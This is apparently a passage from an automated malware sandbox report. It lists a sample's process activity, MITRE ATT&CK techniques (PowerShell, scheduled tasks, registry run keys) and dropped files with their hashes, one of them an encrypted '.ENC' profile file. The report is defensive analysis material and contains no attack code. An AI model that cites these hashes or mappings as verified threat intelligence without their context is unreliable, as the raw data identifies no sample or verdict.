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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa09a046f8,0x7ffa09a04708,0x7ffa09a047182⤵PID:3916
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies registry class
PID:4648
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
152B
MD5719923124ee00fb57378e0ebcbe894f7
SHA1cc356a7d27b8b27dc33f21bd4990f286ee13a9f9
SHA256aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808
SHA512a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc
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Filesize
152B
MD5d7114a6cd851f9bf56cf771c37d664a2
SHA1769c5d04fd83e583f15ab1ef659de8f883ecab8a
SHA256d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e
SHA51233bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8
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Filesize
264KB
MD50e36bd73f7492295b04ac9a11e90956c
SHA19f86bfe420a7c179d24629d794c245c7e4fcb916
SHA256dd36042e979eb003aa88b225d0858aae1be1e78ef88be6fbb74440ed8240620d
SHA512e5bcfa46fb24fdae582eb1c6c2d1ce22ec3cc60f60ef65e5ca6a72a2fcaf39a55fcd3c9a39738009c45fa7419c2380c64cd15f0ad6a51e3a94056f66f454c35a
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Filesize
6KB
MD5ce8c0d01dda3746592c61a9c48fd59a3
SHA17470ac762291f0f8a6f6220d8320e743eb312f3b
SHA25657cb8d36e4cc53657b8e6a9a118547c26f3a3947bada10f9ef204c6f3f5e3ab6
SHA512acc08706f7b94adfa2aa995a6e6697d36f05bd914b8a3126a58ac6ec12346b0ece1a47c9c7ce039ae4f8e2322938d3e70103c5bf124c47cb7e20f8cdc97250f2
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Filesize
5KB
MD51723a6d36a63d5a0889628e0d20cfff9
SHA125c7985f2966ec0adcbbdbbecdd41569964d44bf
SHA2566e2f2a18ab582e88a51711f4eb8869d3274e7c551f89dccb3a5ff69b3c752879
SHA5123af0015150373cbfc4216da5cc70432cd2c5953e33a6e2441f6dc2993d4adefaeca2ca3bb7cd03ebd71ff6fae57835408410c7a7756450ed723d7055ebe43e37
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Filesize
6KB
MD55c3a71318febd3757bce3e2b6ba367a6
SHA16a7546feebd060922d2ba70c7f87e6cde333c0a7
SHA2568301ecf8a8b0ec4122fddf35bd738f113fd6cce1a8ff05befe6053081ca36921
SHA512bde2567fef07dbbef4b6d4d520f0f87bdd1dced63df323935e745299a212e5a5d9fc4105a3aea4f0f4dec7d5d94ea7181e57608bb93a73725a453d1c365a2c60
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Filesize
6KB
MD52fcae90a8ae60ec3c669ec5086e4e746
SHA119c6a078ff20aaea738c14b3cde3186bad8daaea
SHA256c805412be4299d8e774f81a8ffff61595247cd3d3da48981cf6e58dffe8abeda
SHA51202e7be8aab7ae077222ea0e46d3fd016413f0f8a57c8597f366c244c52a38e3ce06845be8afa091ebd3556dc9ba90b9fe49f3b57d10d214facd082fcf536af6f
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Filesize
16B
MD56752a1d65b201c13b62ea44016eb221f
SHA158ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA2560861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
SHA5129cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
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Filesize
10KB
MD5f325d1ab6dbc7a0e22d8c66bb0f18ad8
SHA109bd4e0e1f371afa52b7e5cf067c8722dbab9571
SHA256704d02602107f91fe26864e972e7e08b7a56b52edcc43840436768b58ad61340
SHA51223d5aa19b4c40d04f66ced604bf13c4199db46e0f2c20e45ae3673dd180498e23251223ea92ebc1a6668533dc2619fa3dd14e683cfca71289e2de7b382ed91cb
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Filesize
10KB
MD5dbb76b1477a9f774184801e954b4ed2c
SHA160c1d0b2bb64d077ec28276211265b7d44adc513
SHA256f4dc29b8208d90187fdc89159ede713c4bf2a8eaabb318f6f182a27bac1d814f
SHA51291823473d8808291b27b7f3a761e27ae3c27362d1ee50c84b4a7ce4c4f08472f38a87c5187663c30e57d12d64653b8c0247f01dc23467d30612e3b1121d53912
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Filesize
10KB
MD52153fefef81fb609dfc9688412bd3f34
SHA171dd3db60cecda16ace4f5bc6946fea49c2f710a
SHA25612670b02ed89d74553d85e67af2fd8a53e60e9d8fdde414cc8d18c54fb6e65e6
SHA512ec9724d63e8a2c60a5721fcc1be2918b70e9a3c2df4757e53704dc136c6b682ab6bd0a3df1c5d133a380ba4c01e66b37095c5edbded6fbfbe27d57dc83d55f8e
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Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
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Filesize
944B
MD598baf5117c4fcec1692067d200c58ab3
SHA15b33a57b72141e7508b615e17fb621612cb8e390
SHA25630bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
SHA512344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
944B
MD560945d1a2e48da37d4ce8d9c56b6845a
SHA183e80a6acbeb44b68b0da00b139471f428a9d6c1
SHA256314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3
SHA5125d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed
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Filesize
944B
MD550d3033f2bc3a3774c469d03e71a79a9
SHA122027b1d52085de99b3bffa276530fea5d961471
SHA2562987e99ec7fa17bd4ab7de3cb4dc62645e1052012a5a357904d6fc6db9054147
SHA512ecf7ab1a9e4192454a3e24c60453fd702a8c648e00078fc933b9182f4a3d3c10c6f5da622a5729b35727e6ddc8837029caddcaf76f56e805b9744253b56da5d8
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
320KB
MD5e0d59aedb927f0aad0b47eab247e5fbc
SHA18abe8db8e344729b0f78d83e540b17a31893ed92
SHA256ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c
SHA5127459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97
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Filesize
115B
MD5e834fc0077b62389b5c63b294ee7d118
SHA19f354579a3ebc10929c09d3e6880bc038fc9e5ad
SHA2563b5b9d196b8228be8287ec5a02fdc0f5158e1a22cea8ac84be026e62f7793e5a
SHA51250f546b8aebe8a620418a24c1852b416485a2b4539c523f954dabb486d78fdb83b5c94976e309000506373861fe5d65d58ec32179859d7db3d326a32fe57c32a
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Filesize
622B
MD5d06b877db5d1b5c8c7eefc0e6296578a
SHA1511ccdc75d18a6a1fd83f6007b7cb4afe60681a4
SHA256faad52aab4bed1196d4e16ee817dcc69b193d2efa50c0c8083547f09e04ce55b
SHA512c41c969f97f026b659100cef9e98c9db5ed73bad2048e2bd1bb26a637c62d4d834dc3d7e23d5d0890b082d380e95ead40fd6c1235ccc4b0f383c17e5f900eaf9
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C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC
Filesize16B
MD598824ea2c44db297e4426d0d42c12b52
SHA1f4591c559dd7cb3b1710b1cbbe3a9678ed067ecb
SHA2561aadeca99bf90dac7b6eaf7d819023769ee28eebebaa85b5c79385b878cba60f
SHA5122975b038a3e629bf209139cdfceadadc8544564fcd066feaba0be2776b3aba9fd99f102c984b64134e96c288363f50c86ee3a8a00bafc435f24b7025636b3b40